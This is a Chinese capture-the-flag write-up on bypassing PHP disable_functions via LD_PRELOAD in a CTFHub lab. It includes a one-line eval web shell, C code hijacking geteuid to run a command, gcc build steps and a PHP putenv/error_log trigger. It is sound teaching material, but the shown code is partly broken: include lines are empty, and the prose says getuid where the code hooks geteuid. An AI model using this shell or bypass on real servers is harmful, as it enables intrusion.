ctfhub-web进阶-[LD_PRELOAD]

ctfhub-web进阶-[LD_PRELOAD]
题目描述:

目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。

CTFHub Bypass disable_function —— LD_PRELOAD
本环境来源于AntSword-Labs

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

经典的LD_PRELOAD,直接使用蚁剑连接
ctfhub-web进阶-[LD_PRELOAD]_第1张图片
根目录下出现了flag,但无法读取,也存在有readflag这类执行文件,使用蚁剑的插件就可以绕了
ctfhub-web进阶-[LD_PRELOAD]_第2张图片
点击开始,即可在网站目录下生成文件
ctfhub-web进阶-[LD_PRELOAD]_第3张图片
蚁剑连接这个文件,密码用原来的密码就可以
ctfhub-web进阶-[LD_PRELOAD]_第4张图片
随后进入虚拟终端来执行readflag,即可获得flag
在这里插入图片描述
上面这是用蚁剑插件的方式来绕过LD_PRELOAD,还有一种是手动上传文件来绕

尝试利用LD_PRELOAD来动态链接重写这个getuid函数
为什么要用getuid这个函数?

因为我们是要劫持某个某个函数,而被劫持的函数得由我们来自己实现一次,所以函数原型必须一致,这就好说了,为了减少工作量,减少复杂性,所以我们尽量选择那些没有参数的系统函数,getuid就是这样的一个函数

步骤:

创建一个.c文件

#include
#include         
#include 
 
void payload(){
	system("/readflag >/tmp/yy");
}   
 
int geteuid(){
if(getenv("LD_PRELOAD") == NULL)
{ 
return 0; 
}
unsetenv("LD_PRELOAD");
payload();
}

接着用gcc编译,生成.so文件

gcc -fPIC -shared yy.c -o yy.so

然后先蚁剑连接网站,将yy.so上传到/tmp目录下
ctfhub-web进阶-[LD_PRELOAD]_第5张图片

接着可以使用mail()函数去利用这个LD_PRELOAD,但mail()函数是被禁了的
ctfhub-web进阶-[LD_PRELOAD]_第6张图片
但是还可以利用error_log()函数


putenv("LD_PRELOAD=/tmp/yy.so");
error_log("",1,"","");
?>

将这串代码上传到网站目录下
ctfhub-web进阶-[LD_PRELOAD]_第7张图片
随后访问yy.php,再回到/tmp目录下,可以看到已经生成了yy文件
ctfhub-web进阶-[LD_PRELOAD]_第8张图片
点开即是flag

你可能感兴趣的:(#,CTFHUB,linux,php)